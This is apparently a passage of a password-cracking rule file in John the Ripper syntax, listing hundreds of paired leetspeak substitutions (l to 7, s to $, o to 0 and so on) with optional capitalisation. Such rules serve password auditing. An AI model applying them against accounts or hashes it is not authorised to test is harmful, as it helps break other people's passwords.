-/lsl7/EsE3[:c]
-/lsl7/isi1[:c]
-/lsl7/isi![:c]
-/lsl7/isi|[:c]
-/lsl7/IsI1[:c]
-/lsl7/IsI![:c]
-/lsl7/IsI|[:c]
-/lsl7/lsl1[:c]
-/lsl7/lsl|[:c]
-/lsl7/lsl![:c]
-/lsl7/Lsl1[:c]
-/lsl7/Lsl7[:c]
-/lsl7/Lsl|[:c]
-/lsl7/Lsl![:c]
-/lsl7/oso0[:c]
-/lsl7/OsO0[:c]
-/lsl7/sss$[:c]
-/lsl7/sss5[:c]
-/lsl7/SsS$[:c]
-/lsl7/SsS5[:c]
-/lsl7/tst+[:c]
-/lsl7/TsT+[:c]
-/lsl7/1s1![:c]
-/lsl7/1s1i[:c]
-/lsl7/1s1I[:c]
-/lsl7/1s1|[:c]
-/lsl7/0s0o[:c]
-/lsl7/0s0O[:c]
-/lsl7/3s3e[:c]
-/lsl7/3s3E[:c]
-/lsl7/4s4a[:c]
-/lsl7/4s4A[:c]
-/lsl7/5s5s[:c]
-/lsl7/5s5S[:c]
-/lsl7/7s7l[:c]
-/lsl7/7s7L[:c]
-/lsl7/8s8b[:c]
-/lsl7/8s8B[:c]
-/lsl|/asa@[:c]
-/lsl|/asa4[:c]
-/lsl|/AsA4[:c]
-/lsl|/AsA@[:c]
-/lsl|/bsb8[:c]
-/lsl|/BsB8[:c]
-/lsl|/ese3[:c]
-/lsl|/EsE3[:c]
-/lsl|/isi1[:c]
-/lsl|/isi![:c]
-/lsl|/isi|[:c]
-/lsl|/IsI1[:c]
-/lsl|/IsI![:c]
-/lsl|/IsI|[:c]
-/lsl|/lsl1[:c]
-/lsl|/lsl7[:c]
-/lsl|/lsl![:c]
-/lsl|/Lsl1[:c]
-/lsl|/Lsl7[:c]
-/lsl|/Lsl|[:c]
-/lsl|/Lsl![:c]
-/lsl|/oso0[:c]
-/lsl|/OsO0[:c]
-/lsl|/sss$[:c]
-/lsl|/sss5[:c]
-/lsl|/SsS$[:c]
-/lsl|/SsS5[:c]
-/lsl|/tst+[:c]
-/lsl|/TsT+[:c]
-/lsl|/1s1![:c]
-/lsl|/1s1i[:c]
-/lsl|/1s1I[:c]
-/lsl|/1s1|[:c]
-/lsl|/0s0o[:c]
-/lsl|/0s0O[:c]
-/lsl|/3s3e[:c]
-/lsl|/3s3E[:c]
-/lsl|/4s4a[:c]
-/lsl|/4s4A[:c]
-/lsl|/5s5s[:c]
-/lsl|/5s5S[:c]
-/lsl|/7s7l[:c]
-/lsl|/7s7L[:c]
-/lsl|/8s8b[:c]
-/lsl|/8s8B[:c]
-/lsl!/asa@[:c]
-/lsl!/asa4[:c]
-/lsl!/AsA4[:c]
-/lsl!/AsA@[:c]
-/lsl!/bsb8[:c]
-/lsl!/BsB8[:c]
-/lsl!/ese3[:c]
-/lsl!/EsE3[:c]
-/lsl!/isi1[:c]
-/lsl!/isi![:c]
-/lsl!/isi|[:c]
-/lsl!/IsI1[:c]
-/lsl!/IsI![:c]
-/lsl!/IsI|[:c]
-/lsl!/lsl1[:c]
-/lsl!/lsl7[:c]
-/lsl!/lsl|[:c]
-/lsl!/Lsl1[:c]
-/lsl!/Lsl7[:c]
-/lsl!/Lsl|[:c]
-/lsl!/Lsl![:c]
-/lsl!/oso0[:c]
-/lsl!/OsO0[:c]
-/lsl!/sss$[:c]
-/lsl!/sss5[:c]
-/lsl!/SsS$[:c]
-/lsl!/SsS5[:c]
-/lsl!/tst+[:c]
-/lsl!/TsT+[:c]
-/lsl!/1s1![:c]
-/lsl!/1s1i[:c]
-/lsl!/1s1I[:c]
-/lsl!/1s1|[:c]
-/lsl!/0s0o[:c]
-/lsl!/0s0O[:c]
-/lsl!/3s3e[:c]
-/lsl!/3s3E[:c]
-/lsl!/4s4a[:c]
-/lsl!/4s4A[:c]
-/lsl!/5s5s[:c]
-/lsl!/5s5S[:c]
-/lsl!/7s7l[:c]
-/lsl!/7s7L[:c]
-/lsl!/8s8b[:c]
-/lsl!/8s8B[:c]
-/Lsl1/asa@[:c]
-/Lsl1/asa4[:c]
-/Lsl1/AsA4[:c]
-/Lsl1/AsA@[:c]
-/Lsl1/bsb8[:c]
-/Lsl1/BsB8[:c]
-/Lsl1/ese3[:c]
-/Lsl1/EsE3[:c]
-/Lsl1/isi1[:c]
-/Lsl1/isi![:c]
-/Lsl1/isi|[:c]
-/Lsl1/IsI1[:c]
-/Lsl1/IsI![:c]
-/Lsl1/IsI|[:c]
-/Lsl1/lsl1[:c]
-/Lsl1/lsl7[:c]
-/Lsl1/lsl|[:c]
-/Lsl1/lsl![:c]
-/Lsl1/oso0[:c]
-/Lsl1/OsO0[:c]
-/Lsl1/sss$[:c]
-/Lsl1/sss5[:c]
-/Lsl1/SsS$[:c]
-/Lsl1/SsS5[:c]
-/Lsl1/tst+[:c]
-/Lsl1/TsT+[:c]
-/Lsl1/1s1![:c]
-/Lsl1/1s1i[:c]
-/Lsl1/1s1I[:c]
-/Lsl1/1s1|[:c]
-/Lsl1/0s0o[:c]
-/Lsl1/0s0O[:c]
-/Lsl1/3s3e[:c]
-/Lsl1/3s3E[:c]
-/Lsl1/4s4a[:c]
-/Lsl1/4s4A[:c]
-/Lsl1/5s5s[:c]
-/Lsl1/5s5S[:c]
-/Lsl1/7s7l[:c]
-/Lsl1/7s7L[:c]
-/Lsl1/8s8b[:c]
-/Lsl1/8s8B[:c]
-/Lsl7/asa@[:c]
-/Lsl7/asa4[:c]
-/Lsl7/AsA4[:c]
-/Lsl7/AsA@[:c]
-/Lsl7/bsb8[:c]
-/Lsl7/BsB8[:c]
-/Lsl7/ese3[:c]
-/Lsl7/EsE3[:c]
-/Lsl7/isi1[:c]
-/Lsl7/isi![:c]
-/Lsl7/isi|[:c]
-/Lsl7/IsI1[:c]
-/Lsl7/IsI![:c]
-/Lsl7/IsI|[:c]
-/Lsl7/lsl1[:c]
-/Lsl7/lsl7[:c]
-/Lsl7/lsl|[:c]
-/Lsl7/lsl![:c]
-/Lsl7/Lsl1[:c]
-/Lsl7/Lsl|[:c]
-/Lsl7/Lsl![:c]
-/Lsl7/oso0[:c]
-/Lsl7/OsO0[:c]
-/Lsl7/sss$[:c]
-/Lsl7/sss5[:c]
-/Lsl7/SsS$[:c]
-/Lsl7/SsS5[:c]
-/Lsl7/tst+[:c]
-/Lsl7/TsT+[:c]
-/Lsl7/1s1![:c]
-/Lsl7/1s1i[:c]
-/Lsl7/1s1I[:c]
-/Lsl7/1s1|[:c]
-/Lsl7/0s0o[:c]
-/Lsl7/0s0O[:c]
-/Lsl7/3s3e[:c]
-/Lsl7/3s3E[:c]
-/Lsl7/4s4a[:c]
-/Lsl7/4s4A[:c]
-/Lsl7/5s5s[:c]
-/Lsl7/5s5S[:c]
-/Lsl7/7s7l[:c]
-/Lsl7/7s7L[:c]
-/Lsl7/8s8b[:c]
-/Lsl7/8s8B[:c]
-/Lsl|/asa@[:c]
-/Lsl|/asa4[:c]
-/Lsl|/AsA4[:c]
-/Lsl|/AsA@[:c]
-/Lsl|/bsb8[:c]
-/Lsl|/BsB8[:c]
-/Lsl|/ese3[:c]
-/Lsl|/EsE3[:c]
-/Lsl|/isi1[:c]
-/Lsl|/isi![:c]
-/Lsl|/isi|[:c]
-/Lsl|/IsI1[:c]
-/Lsl|/IsI![:c]
-/Lsl|/IsI|[:c]
-/Lsl|/lsl1[:c]
-/Lsl|/lsl7[:c]
-/Lsl|/lsl|[:c]
-/Lsl|/lsl![:c]
-/Lsl|/oso0[:c]
-/Lsl|/OsO0[:c]
-/Lsl|/sss$[:c]
-/Lsl|/sss5[:c]
-/Lsl|/SsS$[:c]
-/Lsl|/SsS5[:c]
-/Lsl|/tst+[:c]
-/Lsl|/TsT+[:c]
-/Lsl|/1s1![:c]
-/Lsl|/1s1i[:c]
-/Lsl|/1s1I[:c]
-/Lsl|/1s1|[:c]
-/Lsl|/0s0o[:c]
-/Lsl|/0s0O[:c]
-/Lsl|/3s3e[:c]
-/Lsl|/3s3E[:c]
-/Lsl|/4s4a[:c]
-/Lsl|/4s4A[:c]
-/Lsl|/5s5s[:c]
-/Lsl|/5s5S[:c]
-/Lsl|/7s7l[:c]
-/Lsl|/7s7L[:c]
-/Lsl|/8s8b[:c]
-/Lsl|/8s8B[:c]
-/Lsl!/asa@[:c]
-/Lsl!/asa4[:c]
-/Lsl!/AsA4[:c]
-/Lsl!/AsA@[:c]
-/Lsl!/bsb8[:c]
-/Lsl!/BsB8[:c]
-/Lsl!/ese3[:c]
-/Lsl!/EsE3[:c]
-/Lsl!/isi1[:c]
-/Lsl!/isi![:c]
-/Lsl!/isi|[:c]
-/Lsl!/IsI1[:c]
-/Lsl!/IsI![:c]
-/Lsl!/IsI|[:c]
-/Lsl!/lsl1[:c]
-/Lsl!/lsl7[:c]
-/Lsl!/lsl|[:c]
-/Lsl!/lsl![:c]
-/Lsl!/oso0[:c]
-/Lsl!/OsO0[:c]
-/Lsl!/sss$[:c]
-/Lsl!/sss5[:c]
-/Lsl!/SsS$[:c]
-/Lsl!/SsS5[:c]
-/Lsl!/tst+[:c]
-/Lsl!/TsT+[:c]
-/Lsl!/1s1![:c]
-/Lsl!/1s1i[:c]
-/Lsl!/1s1I[:c]
-/Lsl!/1s1|[:c]
-/Lsl!/0s0o[:c]
-/Lsl!/0s0O[:c]
-/Lsl!/3s3e[:c]
-/Lsl!/3s3E[:c]
-/Lsl!/4s4a[:c]
-/Lsl!/4s4A[:c]
-/Lsl!/5s5s[:c]
-/Lsl!/5s5S[:c]
-/Lsl!/7s7l[:c]
-/Lsl!/7s7L[:c]
-/Lsl!/8s8b[:c]
-/Lsl!/8s8B[:c]
-/oso0/asa@[:c]
-/oso0/asa4[:c]
-/oso0/AsA4[:c]
-/oso0/AsA@[:c]
-/oso0/bsb8[:c]
-/oso0/BsB8[:c]
-/oso0/ese3[:c]
-/oso0/EsE3[:c]
-/oso0/isi1[:c]
-/oso0/isi![:c]
-/oso0/isi|[:c]
-/oso0/IsI1[:c]
-/oso0/IsI![:c]
-/oso0/IsI|[:c]
-/oso0/lsl1[:c]
-/oso0/lsl7[:c]
-/oso0/lsl|[:c]
-/oso0/lsl![:c]
-/oso0/Lsl1[:c]
-/oso0/Lsl7[:c]
-/oso0/Lsl|[:c]
-/oso0/Lsl![:c]
-/oso0/OsO0[:c]
-/oso0/sss$[:c]
-/oso0/sss5[:c]
-/oso0/SsS$[:c]
-/oso0/SsS5[:c]
-/oso0/tst+[:c]
-/oso0/TsT+[:c]
-/oso0/1s1![:c]
-/oso0/1s1i[:c]
-/oso0/1s1I[:c]
-/oso0/1s1|[:c]
-/oso0/0s0o[:c]
-/oso0/0s0O[:c]
-/oso0/3s3e[:c]
-/oso0/3s3E[:c]
-/oso0/4s4a[:c]
-/oso0/4s4A[:c]
-/oso0/5s5s[:c]
-/oso0/5s5S[:c]
-/oso0/7s7l[:c]
-/oso0/7s7L[:c]
-/oso0/8s8b[:c]
-/oso0/8s8B[:c]
-/OsO0/asa@[:c]
-/OsO0/asa4[:c]
-/OsO0/AsA4[:c]
-/OsO0/AsA@[:c]
-/OsO0/bsb8[:c]
-/OsO0/BsB8[:c]
-/OsO0/ese3[:c]
-/OsO0/EsE3[:c]
-/OsO0/isi1[:c]
-/OsO0/isi![:c]
-/OsO0/isi|[:c]
-/OsO0/IsI1[:c]
-/OsO0/IsI![:c]
-/OsO0/IsI|[:c]
-/OsO0/lsl1[:c]
-/OsO0/lsl7[:c]
-/OsO0/lsl|[:c]
-/OsO0/lsl![:c]
-/OsO0/Lsl1[:c]
-/OsO0/Lsl7[:c]
-/OsO0/Lsl|[:c]
-/OsO0/Lsl![:c]
-/OsO0/oso0[:c]
-/OsO0/sss$[:c]
-/OsO0/sss5[:c]
-/OsO0/SsS$[:c]
-/OsO0/SsS5[:c]
-/OsO0/tst+[:c]
-/OsO0/TsT+[:c]
-/OsO0/1s1![:c]
-/OsO0/1s1i[:c]
-/OsO0/1s1I[:c]
-/OsO0/1s1|[:c]
-/OsO0/0s0o[:c]
-/OsO0/0s0O[:c]
-/OsO0/3s3e[:c]
-/OsO0/3s3E[:c]
-/OsO0/4s4a[:c]
-/OsO0/4s4A[:c]
-/OsO0/5s5s[:c]
-/OsO0/5s5S[:c]
-/OsO0/7s7l[:c]
-/OsO0/7s7L[:c]
-/OsO0/8s8b[:c]
-/OsO0/8s8B[:c]
-/sss$/asa@[:c]
-/sss$/asa4[:c]
-/sss$/AsA4[:c]
-/sss$/AsA@[:c]
-/sss$/bsb8[:c]
-/sss$/BsB8[:c]
-/sss$/ese3[:c]
-/sss$/EsE3[:c]
-/sss$/isi1[:c]
-/sss$/isi![:c]
-/sss$/isi|[:c]
-/sss$/IsI1[:c]
-/sss$/IsI![:c]
-/sss$/IsI|[:c]
-/sss$/lsl1[:c]
-/sss$/lsl7[:c]
-/sss$/lsl|[:c]
-/sss$/lsl![:c]
-/sss$/Lsl1[:c]
-/sss$/Lsl7[:c]
-/sss$/Lsl|[:c]
-/sss$/Lsl![:c]
-/sss$/oso0[:c]
-/sss$/OsO0[:c]
-/sss$/SsS$[:c]
-/sss$/SsS5[:c]
-/sss$/tst+[:c]
-/sss$/TsT+[:c]
-/sss$/1s1![:c]
-/sss$/1s1i[:c]
-/sss$/1s1I[:c]
-/sss$/1s1|[:c]
-/sss$/0s0o[:c]
-/sss$/0s0O[:c]
-/sss$/3s3e[:c]
-/sss$/3s3E[:c]
-/sss$/4s4a[:c]
-/sss$/4s4A[:c]
-/sss$/5s5s[:c]
-/sss$/5s5S[:c]
-/sss$/7s7l[:c]
-/sss$/7s7L[:c]
-/sss$/8s8b[:c]
-/sss$/8s8B[:c]
-/sss5/asa@[:c]
-/sss5/asa4[:c]
-/sss5/AsA4[:c]
-/sss5/AsA@[:c]
-/sss5/bsb8[:c]
-/sss5/BsB8[:c]
-/sss5/ese3[:c]
-/sss5/EsE3[:c]
-/sss5/isi1[:c]
-/sss5/isi![:c]
-/sss5/isi|[:c]
-/sss5/IsI1[:c]
-/sss5/IsI![:c]
-/sss5/IsI|[:c]
-/sss5/lsl1[:c]
-/sss5/lsl7[:c]
-/sss5/lsl|[:c]
-/sss5/lsl![:c]
-/sss5/Lsl1[:c]
-/sss5/Lsl7[:c]
-/sss5/Lsl|[:c]
-/sss5/Lsl![:c]
-/sss5/oso0[:c]
-/sss5/OsO0[:c]
-/sss5/SsS$[:c]
-/sss5/SsS5[:c]
-/sss5/tst+[:c]
-/sss5/TsT+[:c]
-/sss5/1s1![:c]
-/sss5/1s1i[:c]
-/sss5/1s1I[:c]
-/sss5/1s1|[:c]
-/sss5/0s0o[:c]
-/sss5/0s0O[:c]
-/sss5/3s3e[:c]
-/sss5/3s3E[:c]
-/sss5/4s4a[:c]
-/sss5/4s4A[:c]
-/sss5/5s5s[:c]
-/sss5/5s5S[:c]
-/sss5/7s7l[:c]
-/sss5/7s7L[:c]
-/sss5/8s8b[:c]
-/sss5/8s8B[:c]
-/SsS$/asa@[:c]
-/SsS$/asa4[:c]
-/SsS$/AsA4[:c]
-/SsS$/AsA@[:c]
-/SsS$/bsb8[:c]
-/SsS$/BsB8[:c]
-/SsS$/ese3[:c]
-/SsS$/EsE3[:c]
-/SsS$/isi1[:c]
-/SsS$/isi![:c]
-/SsS$/isi|[:c]
-/SsS$/IsI1[:c]
-/SsS$/IsI![:c]
-/SsS$/IsI|[:c]
-/SsS$/lsl1[:c]
-/SsS$/lsl7[:c]
-/SsS$/lsl|[:c]
-/SsS$/lsl![:c]
-/SsS$/Lsl1[:c]
-/SsS$/Lsl7[:c]
-/SsS$/Lsl|[:c]
-/SsS$/Lsl![:c]
-/SsS$/oso0[:c]
-/SsS$/OsO0[:c]
-/SsS$/sss$[:c]
-/SsS$/sss5[:c]
-/SsS$/tst+[:c]
-/SsS$/TsT+[:c]
-/SsS$/1s1![:c]
-/SsS$/1s1i[:c]
-/SsS$/1s1I[:c]
-/SsS$/1s1|[:c]
-/SsS$/0s0o[:c]
-/SsS$/0s0O[:c]
-/SsS$/3s3e[:c]
-/SsS$/3s3E[:c]
-/SsS$/4s4a[:c]
-/SsS$/4s4A[:c]
-/SsS$/5s5s[:c]
-/SsS$/5s5S[:c]
-/SsS$/7s7l[:c]
-/SsS$/7s7L[:c]
-/SsS$/8s8b[:c]
-/SsS$/8s8B[:c]
-/SsS5/asa@[:c]
-/SsS5/asa4[:c]
-/SsS5/AsA4[:c]
-/SsS5/AsA@[:c]
-/SsS5/bsb8[:c]
-/SsS5/BsB8[:c]
-/SsS5/ese3[:c]
-/SsS5/EsE3[:c]
-/SsS5/isi1[:c]
-/SsS5/isi![:c]
-/SsS5/isi|[:c]
-/SsS5/IsI1[:c]
-/SsS5/IsI![:c]
-/SsS5/IsI|[:c]
-/SsS5/lsl1[:c]
-/SsS5/lsl7[:c]
-/SsS5/lsl|[:c]
-/SsS5/lsl![:c]
-/SsS5/Lsl1[:c]
-/SsS5/Lsl7[:c]
-/SsS5/Lsl|[:c]
-/SsS5/Lsl![:c]
-/SsS5/oso0[:c]
-/SsS5/OsO0[:c]
-/SsS5/sss$[:c]
-/SsS5/sss5[:c]
-/SsS5/tst+[:c]
-/SsS5/TsT+[:c]
-/SsS5/1s1![:c]
-/SsS5/1s1i[:c]
-/SsS5/1s1I[:c]
-/SsS5/1s1|[:c]
-/SsS5/0s0o[:c]
-/SsS5/0s0O[:c]
-/SsS5/3s3e[:c]
-/SsS5/3s3E[:c]
-/SsS5/4s4a[:c]
-/SsS5/4s4A[:c]
-/SsS5/5s5s[:c]
-/SsS5/5s5S[:c]
-/SsS5/7s7l[:c]
-/SsS5/7s7L[:c]
-/SsS5/8s8b[:c]
-/SsS5/8s8B[:c]
-/tst+/asa@[:c]
-/tst+/asa4[:c]
-/tst+/AsA4[:c]
-/tst+/AsA@[:c]
-/tst+/bsb8[:c]
-/tst+/BsB8[:c]
-/tst+/ese3[:c]
-/tst+/EsE3[:c]
-/tst+/isi1[:c]
-/tst+/isi![:c]
-/tst+/isi|[:c]
-/tst+/IsI1[:c]
-/tst+/IsI![:c]
-/tst+/IsI|[:c]
-/tst+/lsl1[:c]
-/tst+/lsl7[:c]
-/tst+/lsl|[:c]
-/tst+/lsl![:c]
-/tst+/Lsl1[:c]
-/tst+/Lsl7[:c]
-/tst+/Lsl|[:c]
-/tst+/Lsl![:c]
-/tst+/oso0[:c]
-/tst+/OsO0[:c]
-/tst+/sss$[:c]
-/tst+/sss5[:c]
-/tst+/SsS$[:c]
-/tst+/SsS5[:c]
-/tst+/TsT+[:c]
-/tst+/1s1![:c]
-/tst+/1s1i[:c]
-/tst+/1s1I[:c]
-/tst+/1s1|[:c]
-/tst+/0s0o[:c]
-/tst+/0s0O[:c]
-/tst+/3s3e[:c]
-/tst+/3s3E[:c]
-/tst+/4s4a[:c]
-/tst+/4s4A[:c]
-/tst+/5s5s[:c]
-/tst+/5s5S[:c]
-/tst+/7s7l[:c]
-/tst+/7s7L[:c]
-/tst+/8s8b[:c]
-/tst+/8s8B[:c]
-/TsT+/asa@[:c]
-/TsT+/asa4[:c]
-/TsT+/AsA4[:c]
-/TsT+/AsA@[:c]
-/TsT+/bsb8[:c]
-/TsT+/BsB8[:c]
-/TsT+/ese3[:c]
-/TsT+/EsE3[:c]
-/TsT+/isi1[:c]
-/TsT+/isi![:c]
-/TsT+/isi|[:c]
-/TsT+/IsI1[:c]
-/TsT+/IsI![:c]
-/TsT+/IsI|[:c]
-/TsT+/lsl1[:c]
-/TsT+/lsl7[:c]
-/TsT+/lsl|[:c]
-/TsT+/lsl![:c]
-/TsT+/Lsl1[:c]
-/TsT+/Lsl7[:c]
-/TsT+/Lsl|[:c]
-/TsT+/Lsl![:c]
-/TsT+/oso0[:c]
-/TsT+/OsO0[:c]
-/TsT+/sss$[:c]
-/TsT+/sss5[:c]
-/TsT+/SsS$[:c]
-/TsT+/SsS5[:c]
-/TsT+/tst+[:c]
-/TsT+/1s1![:c]
-/TsT+/1s1i[:c]
-/TsT+/1s1I[:c]
-/TsT+/1s1|[:c]
-/TsT+/0s0o[:c]
-/TsT+/0s0O[:c]
-/TsT+/3s3e[:c]
-/TsT+/3s3E[:c]
-/TsT+/4s4a[:c]
-/TsT+/4s4A[:c]
-/TsT+/5s5s[:c]
-/TsT+/5s5S[:c]
-/TsT+/7s7l[:c]
-/TsT+/7s7L[:c]
-/TsT+/8s8b[:c]
-/TsT+/8s8B[:c]
-/1s1!/asa@[:c]
-/1s1!/asa4[:c]
-/1s1!/AsA4[:c]
-/1s1!/AsA@[:c]
-/1s1!/bsb8[:c]
-/1s1!/BsB8[:c]
-/1s1!/ese3[:c]
-/1s1!/EsE3[:c]
-/1s1!/isi1[:c]
-/1s1!/isi![:c]
-/1s1!/isi|[:c]
-/1s1!/IsI1[:c]
-/1s1!/IsI![:c]
-/1s1!/IsI|[:c]
-/1s1!/lsl1[:c]
-/1s1!/lsl7[:c]
-/1s1!/lsl|[:c]
-/1s1!/lsl![:c]
-/1s1!/Lsl1[:c]
-/1s1!/Lsl7[:c]
-/1s1!/Lsl|[:c]
-/1s1!/Lsl![:c]
-/1s1!/oso0[:c]
-/1s1!/OsO0[:c]
-/1s1!/sss$[:c]
-/1s1!/sss5[:c]
-/1s1!/SsS$[:c]
-/1s1!/SsS5[:c]
-/1s1!/tst+[:c]
-/1s1!/TsT+[:c]
-/1s1!/0s0o[:c]
-/1s1!/0s0O[:c]
-/1s1!/3s3e[:c]
-/1s1!/3s3E[:c]
-/1s1!/4s4a[:c]
-/1s1!/4s4A[:c]
-/1s1!/5s5s[:c]
-/1s1!/5s5S[:c]
-/1s1!/7s7l[:c]
-/1s1!/7s7L[:c]
-/1s1!/8s8b[:c]
-/1s1!/8s8B[:c]
-/1s1i/asa@[:c]
-/1s1i/asa4[:c]
-/1s1i/AsA4[:c]
-/1s1i/AsA@[:c]
-/1s1i/bsb8[:c]
-/1s1i/BsB8[:c]
-/1s1i/ese3[:c]
-/1s1i/EsE3[:c]
-/1s1i/isi1[:c]
-/1s1i/isi![:c]
-/1s1i/isi|[:c]
-/1s1i/IsI1[:c]
-/1s1i/IsI![:c]
-/1s1i/IsI|[:c]
-/1s1i/lsl1[:c]
-/1s1i/lsl7[:c]
-/1s1i/lsl|[:c]
-/1s1i/lsl![:c]
-/1s1i/Lsl1[:c]
-/1s1i/Lsl7[:c]
-/1s1i/Lsl|[:c]
-/1s1i/Lsl![:c]
-/1s1i/oso0[:c]
-/1s1i/OsO0[:c]
-/1s1i/sss$[:c]
-/1s1i/sss5[:c]
-/1s1i/SsS$[:c]
-/1s1i/SsS5[:c]
-/1s1i/tst+[:c]
-/1s1i/TsT+[:c]
-/1s1i/0s0o[:c]
-/1s1i/0s0O[:c]
-/1s1i/3s3e[:c]
-/1s1i/3s3E[:c]
-/1s1i/4s4a[:c]
-/1s1i/4s4A[:c]
-/1s1i/5s5s[:c]
-/1s1i/5s5S[:c]
-/1s1i/7s7l[:c]
-/1s1i/7s7L[:c]
-/1s1i/8s8b[:c]
-/1s1i/8s8B[:c]
-/1s1I/asa@[:c]
-/1s1I/asa4[:c]
-/1s1I/AsA4[:c]
-/1s1I/AsA@[:c]
-/1s1I/bsb8[:c]
-/1s1I/BsB8[:c]
-/1s1I/ese3[:c]
-/1s1I/EsE3[:c]
-/1s1I/isi1[:c]
-/1s1I/isi![:c]
-/1s1I/isi|[:c]
-/1s1I/IsI1[:c]
-/1s1I/IsI![:c]
-/1s1I/IsI|[:c]
-/1s1I/lsl1[:c]
-/1s1I/lsl7[:c]
-/1s1I/lsl|[:c]
-/1s1I/lsl![:c]
-/1s1I/Lsl1[:c]
-/1s1I/Lsl7[:c]
-/1s1I/Lsl|[:c]
-/1s1I/Lsl![:c]
-/1s1I/oso0[:c]
-/1s1I/OsO0[:c]
-/1s1I/sss$[:c]
-/1s1I/sss5[:c]
-/1s1I/SsS$[:c]
-/1s1I/SsS5[:c]
-/1s1I/tst+[:c]
-/1s1I/TsT+[:c]
-/1s1I/1s1![:c]
-/1s1I/1s1i[:c]
-/1s1I/1s1|[:c]
-/1s1I/0s0o[:c]
-/1s1I/0s0O[:c]
-/1s1I/3s3e[:c]
-/1s1I/3s3E[:c]
-/1s1I/4s4a[:c]
-/1s1I/4s4A[:c]
-/1s1I/5s5s[:c]
-/1s1I/5s5S[:c]
-/1s1I/7s7l[:c]
-/1s1I/7s7L[:c]
-/1s1I/8s8b[:c]
-/1s1I/8s8B[:c]
-/1s1|/asa@[:c]
-/1s1|/asa4[:c]
-/1s1|/AsA4[:c]
-/1s1|/AsA@[:c]
-/1s1|/bsb8[:c]
-/1s1|/BsB8[:c]
-/1s1|/ese3[:c]
-/1s1|/EsE3[:c]
-/1s1|/isi1[:c]
-/1s1|/isi![:c]
-/1s1|/isi|[:c]
-/1s1|/IsI1[:c]
-/1s1|/IsI![:c]
-/1s1|/IsI|[:c]
-/1s1|/lsl1[:c]
-/1s1|/lsl7[:c]
-/1s1|/lsl|[:c]
-/1s1|/lsl![:c]
-/1s1|/Lsl1[:c]
-/1s1|/Lsl7[:c]
-/1s1|/Lsl|[:c]
-/1s1|/Lsl![:c]
-/1s1|/oso0[:c]
-/1s1|/OsO0[:c]
-/1s1|/sss$[:c]
-/1s1|/sss5[:c]
-/1s1|/SsS$[:c]
-/1s1|/SsS5[:c]
-/1s1|/tst+[:c]
-/1s1|/TsT+[:c]
-/1s1|/1s1![:c]
-/1s1|/1s1i[:c]
-/1s1|/1s1I[:c]
-/1s1|/0s0o[:c]
-/1s1|/0s0O[:c]
-/1s1|/3s3e[:c]
-/1s1|/3s3E[:c]
-/1s1|/4s4a[:c]
-/1s1|/4s4A[:c]
-/1s1|/5s5s[:c]
-/1s1|/5s5S[:c]
-/1s1|/7s7l[:c]
-/1s1|/7s7L[:c]
-/1s1|/8s8b[:c]
-/1s1|/8s8B[:c]
-/0s0o/asa@[:c]
-/0s0o/asa4[:c]
-/0s0o/AsA4[:c]
-/0s0o/AsA@[:c]
-/0s0o/bsb8[:c]
-/0s0o/BsB8[:c]
-/0s0o/ese3[:c]
-/0s0o/EsE3[:c]
-/0s0o/isi1[:c]
-/0s0o/isi![:c]
-/0s0o/isi|[:c]
-/0s0o/IsI1[:c]
-/0s0o/IsI![:c]
-/0s0o/IsI|[:c]
-/0s0o/lsl1[:c]
-/0s0o/lsl7[:c]
-/0s0o/lsl|[:c]
-/0s0o/lsl![:c]
-/0s0o/Lsl1[:c]
-/0s0o/Lsl7[:c]
-/0s0o/Lsl|[:c]
-/0s0o/Lsl![:c]
-/0s0o/oso0[:c]
-/0s0o/OsO0[:c]
-/0s0o/sss$[:c]
-/0s0o/sss5[:c]
-/0s0o/SsS$[:c]
-/0s0o/SsS5[:c]
-/0s0o/tst+[:c]
-/0s0o/TsT+[:c]
-/0s0o/1s1![:c]
-/0s0o/1s1i[:c]
-/0s0o/1s1I[:c]
-/0s0o/1s1|[:c]
-/0s0o/3s3e[:c]
-/0s0o/3s3E[:c]
-/0s0o/4s4a[:c]
-/0s0o/4s4A[:c]
-/0s0o/5s5s[:c]
-/0s0o/5s5S[:c]
-/0s0o/7s7l[:c]
-/0s0o/7s7L[:c]
-/0s0o/8s8b[:c]
-/0s0o/8s8B[:c]
-/0s0O/asa@[:c]
-/0s0O/asa4[:c]
-/0s0O/AsA4[:c]
-/0s0O/AsA@[:c]
-/0s0O/bsb8[:c]
-/0s0O/BsB8[:c]
-/0s0O/ese3[:c]
-/0s0O/EsE3[:c]
-/0s0O/isi1[:c]
-/0s0O/isi![:c]
-/0s0O/isi|[:c]
-/0s0O/IsI1[:c]
-/0s0O/IsI![:c]
-/0s0O/IsI|[:c]
-/0s0O/lsl1[:c]
-/0s0O/lsl7[:c]
-/0s0O/lsl|[:c]
-/0s0O/lsl![:c]
-/0s0O/Lsl1[:c]
-/0s0O/Lsl7[:c]
-/0s0O/Lsl|[:c]
-/0s0O/Lsl![:c]
-/0s0O/oso0[:c]
-/0s0O/OsO0[:c]
-/0s0O/sss$[:c]
-/0s0O/sss5[:c]
-/0s0O/SsS$[:c]
-/0s0O/SsS5[:c]
-/0s0O/tst+[:c]
-/0s0O/TsT+[:c]
-/0s0O/1s1![:c]
-/0s0O/1s1i[:c]
-/0s0O/1s1I[:c]
-/0s0O/1s1|[:c]
-/0s0O/3s3e[:c]
-/0s0O/3s3E[:c]
-/0s0O/4s4a[:c]
-/0s0O/4s4A[:c]
-/0s0O/5s5s[:c]
-/0s0O/5s5S[:c]
-/0s0O/7s7l[:c]
-/0s0O/7s7L[:c]
-/0s0O/8s8b[:c]
-/0s0O/8s8B[:c]
-/3s3e/asa@[:c]
-/3s3e/asa4[:c]
-/3s3e/AsA4[:c]
-/3s3e/AsA@[:c]
-/3s3e/bsb8[:c]
-/3s3e/BsB8[:c]
-/3s3e/ese3[:c]
-/3s3e/EsE3[:c]
-/3s3e/isi1[:c]
-/3s3e/isi![:c]
-/3s3e/isi|[:c]
-/3s3e/IsI1[:c]
-/3s3e/IsI![:c]
-/3s3e/IsI|[:c]
-/3s3e/lsl1[:c]
-/3s3e/lsl7[:c]
-/3s3e/lsl|[:c]
-/3s3e/lsl![:c]
-/3s3e/Lsl1[:c]
-/3s3e/Lsl7[:c]
-/3s3e/Lsl|[:c]
-/3s3e/Lsl![:c]
-/3s3e/oso0[:c]
-/3s3e/OsO0[:c]
-/3s3e/sss$[:c]
-/3s3e/sss5[:c]
-/3s3e/SsS$[:c]
-/3s3e/SsS5[:c]
-/3s3e/tst+[:c]
-/3s3e/TsT+[:c]
-/3s3e/1s1![:c]
-/3s3e/1s1i[:c]
-/3s3e/1s1I[:c]
-/3s3e/1s1|[:c]
-/3s3e/0s0o[:c]
